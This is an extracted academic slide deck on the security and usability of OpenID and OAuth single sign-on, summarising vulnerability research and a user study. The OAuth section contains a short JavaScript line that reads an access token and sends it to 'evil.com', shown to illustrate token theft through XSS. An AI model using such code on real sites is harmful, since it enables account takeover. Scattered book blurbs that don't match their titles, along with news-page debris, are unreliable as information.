



# Case Study: Security and Usability of Web Single Sign-On Systems



## San-Tsai Sun

- uncovering novel vulnerabilities
- designing usable and practical countermeasures

- **PhD candidate:** web security
- **architect/consultant:** Web-based software and security engineering
- **certified instructor:** Microsoft, Sun Java, Trend Micro
- **web technology evangelist:** MVP, MSDN Regional Director Taiwan, TechED, DevDays, PDC, Java Two

# outline

- **background and overview**
- Case 1: OpenID 2.0 security analysis
- Case 2: OAuth 2.0 security analysis
- Case 3: web SSO usability study

# security design principles

1. Least Privilege
2. Fail-Safe Defaults
3. Economy of Mechanism
4. Complete Mediation
5. Open Design
6. Separation of Duty
7. Least Common Mechanism
8. Psychological Acceptability
9. Defense in depth
10. Question assumptions

# usable security design principles

1. Path of Least Resistance
2. Active Authorization
3. Revocability
4. Visibility
5. Self-Awareness
6. Trusted Path
7. Expressiveness
8. Relevant Boundaries
9. Identifiability
10. Foresight



**Professional Ajax**  
Author: Nicholas C. Zakas-Jeremy McPeak-Joe Fawcett

To get inside C#, Microsoft's new OO programming language, use A Preview of C# as a guide. It offers a preview of Visual Studio.NET and an overview of the .NET framework, and demonstrates how C# is integrated with ASP+, ADO+, and COM+ in .NET applications. You'll get examples of C# in action, too.

[more](#)



**Windows Presentation Foundation**  
Author: Adam Nathan-Daniel Lehenbauer

Filling an important spot in the Wrox Programmer to Programmer series, Beginning Active Server Pages 3.0 is an excellent introduction to the new version of ASP released for the Windows 2000 platform. This guide expects no previous ASP knowledge or even previous Web development experience.

[more](#)



**Microsoft .NET Framework 2.0 Windows Client**  
Author: Tony Northrup-Matthew A. Stoecker-Steven J. Stein

Use this book to build a robust infrastructure for powerful Web sites. Master programmers who write for Web Techniques, Dr. Dobb's Journal, Interactivity, Data Base Management Systems, Network, and Software Development have joined forces to tackle the latest round of web programming puzzles for you.

[more](#)



**Red Hat Enterprise Linux 5**  
Author: Tony Northrup

Allaires ColdFusion is a powerful solution for developers wanting to build secure, scalable, and manageable Web applications. ColdFusion Fast & Easy Web Development takes a visual approach to learning this Web application server.

[more](#)


# traditional site-centric architecture



25 accounts  
8 passwords per day [1]




- ✗ password fatigue
- ✗ insecure password practices



[1] D. Florencio and C. Herley. A large-scale study of web password habits. In Proc. of WWW '07, New York, NY, USA, 2007.

# OpenID and OAuth-based web single sign-on (SSO) systems

overview → OpenID → OAuth → Usability → Summary





source: jainrain



[1] <http://jainrain.com/blog/social-login-and-social-sharing-trends-across-the-web-for-q2-of-2012/>

# how OpenID and OAuth SSO works

OVERVIEW → OpenID → OAuth → Usability → Summary



skip authentication if user has logged into the IdP in the same browser granted already



browser



RP



IdP

selected IdP

OpenID: attribute assertion

OAuth: access token or authorization code

OpenID: (optional) Diffie

authz. code and app. secret

access token

API + access token

user profile

OAuth RP-to-IdP registration:  
unique app ID/secret key



# challenges, assumptions, overall approach

## challenges:

- ✗ source code is not accessible
- ✗ situated between RP and IdP is hard
- ✗ realistic evaluation introduce actual harms




- identify weaknesses



## browser relay messages

- steal access token
- impersonate user on RP



# Formal Analysis and Empirical Evaluation for OpenID 2.0 Security



S. Sun, K. Hawkey, and K. Beznosov, “Systematically breaking and fixing OpenID security: Formal analysis, semi-automated empirical evaluation, and practical countermeasures,” Computers & Security, 31(4):465-483, May 2012.

# OpenID 2.0 security analysis overall approach




103 RPs on OpenID directory  
29 RPs on Google Top 1000

three fundamental weaknesses:

- ✘ lack of **authenticity guarantee** of auth. request
- ✘ lack of **integrity guarantee** of auth. request
- ✘ lack of **contextual binding** between protocol messages and the browser

# impersonation using profile attribute (email) forgery



use email address as identifier,  
without checking whether the email is signed by the IdP

# principles violated?

1. Least Privilege
2. Fail-Safe Defaults
3. Economy of Mechanism
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5. Open Design
6. Separation of Duty
7. Least Common Mechanism
8. Psychological Acceptability
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# Empirical Security Analysis of OAuth 2.0-based SSO Systems



S. Sun and K. Beznosov, "The Devil is in the (implementation) details: An empirical security analysis of OAuth single sign-on systems," in Proceedings of 19th ACM Conference on Computer and Communications Security (CCS), October 2012.


# OAuth 2.0-based SSO

- **access token is the capability!**
  - represent scope and duration of an authorization
  - used by RP to access identity information
  - temporary key to user account on IdP and RP
- **server-flow: RP server-side**
- **client-flow: JavaScript/Rich-client**

# client flow

`access_token = document.location.hash`

skip authentication if user has logged into the IdP in the same browser




Authorization if already





# overall approach (OAuth 2.0)

- steal access token
  - harvest user data on IdP
  - act on behalf of victim
- impersonate user on RP
  - control user RP account




96 RPs listed on Google Top 1,000 Websites

- English-written
- support Facebook



# access token theft via XSS: 91%




```
token = document.location.hash;  
img.src='evil.com?' + token;
```

invisible iframe  
src=authz request

current\_page#token=access



app\_id, scope, response=token  
redirect\_uri=current\_page



current\_page



Relying Party (RP)



Identity provider (IdP)



# principles violated?


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8. Psychological Acceptability
9. Defense in depth
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# Investigating User's Perspective of Web Single Sign-On



- S. Sun, E. Pospisil, I. Muslukhov, N. Dindar, K. Hawkey, and K. Beznosov, “Investigating user's perspective of web single sign-on: Conceptual gaps, alternative design and acceptance model,” in minor revision, ACM Transactions on Internet Technology (TOIT), January 2012.
- S. Sun, E. Pospisil, I. Muslukhov, N. Dindar, K. Hawkey, and K. Beznosov, “What makes users refuse web single sign-on? An empirical investigation of OpenID,” in Proceedings of Symposium on Usable Privacy and Security (SOUPS), July 2011.
- S. Sun, E. Pospisil, I. Muslukhov, N. Dindar, K. Hawkey, K. Beznosov, “OpenID-Enabled Browser: Towards usable and secure web single sign-on,” in Proceedings of the 29th International Conference Extended abstracts on Human Factors in Computing Systems (CHI), May 2011.

# in-lab user study overall approach



- confirm findings from the exploratory study
- understand web users' perceptions, concerns
- improve prototype and study design
- define requirements
- screen participants for gender, age, student/non-student
- compare IDeB with current UI
- each participant was included only once in the study
- sign onto real-world KPs using SSO
- IdP-phishing identification test
- mental model drawing
- semi-structured interview

main findings



overview → OpenID → OAuth → Usability → Summary

FoxNews.com - Breaking News | Latest News | Current News - Mozilla Firefox

File Edit View History Bookmarks Tools Help

FoxNews.com - Breaking News | Late... x My Account

http://www.foxnews.com/

Fox News Fox Business Small Business Center Fox News Latino Fox News Radio Fox Nation Account

June 16, 2011 - Updated at 7:17 PM ET

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On Air Personalities »

The O'Reilly Factor (cc) It's the "No Spin Zone!" 8p<sup>et</sup>

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# UGLY TO THE END

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- Stand by Your Man? The Different Decisions of Political Wives | VIDEO: Weiner's Ex Reacts
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
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# misleading affordance and negative transfer effect

overview → OpenID → OAuth → Usability → Summary



**click on icon to select an IdP**






**enter one of their user name and password listed on the right-hand side**



**most participants entered their Google or Yahoo email and password into the traditional login form directly.**

# security misconception



**“The website is going to have my Google email and password!!”**





# implicit IdP login concern

log out all RP websites

check email

log into RP and IdP



log into RP only



“why Gmail did not ask me to sign in!!”  
“what if I just left this computer?”

# privacy concern

overview → OpenID → OAuth → Usability → Summary

The image shows a Facebook 'Request for Permission' dialog for Fox News. The dialog lists the following permissions: 'Access my basic information' (includes name, profile picture, gender, networks, user ID, list of friends, and any other information I've shared with everyone), 'Send me email' (Fox News may email me directly at santsaisun@gmail.com), 'Post to my Wall' (Fox News may post status messages, notes, photos, and videos to my Wall), and 'Access my profile information' (Birthday and Current City). A 'Report App' link is also visible. The user is logged in as San-Tsai Sun. Overlaid on this is a Yahoo! authentication window. The Yahoo! window displays the Yahoo! logo, the user's name 'Hi, Miles', and options for 'Sign Out' and 'Help'. It prompts the user to click 'Agree' to sign into socialize.foxnews.com using their Yahoo! ID. Below this, it shows the user is authorizing access to 'Yahoo! Contacts', 'Profiles', and 'Yahoo! Status'. A dropdown menu for 'Select your OpenID identifier' shows 'https://me.yahoo.com/santsaisun (Last used)'. There is a checkbox for 'Share my socialize.foxnews.com activities to:' with a dropdown menu. A large yellow 'Agree' button is at the bottom. Below the button, a disclaimer states: 'By clicking Agree you are agreeing to the Yahoo! Additional Terms of Service and publicly share your activities through Yahoo! Updates.'




**“I would normally say NO !!”**

# security misconception confirm

in the same browser session, only one IdP login prompt for a specific IdP

log back into



**“Fox News remembers my Google password!!”**



**“why no IdP login prompt?”**



**“my password has been stored some where!!”**

# usable security design principles?

1. Path of Least Resistance
2. Active Authorization
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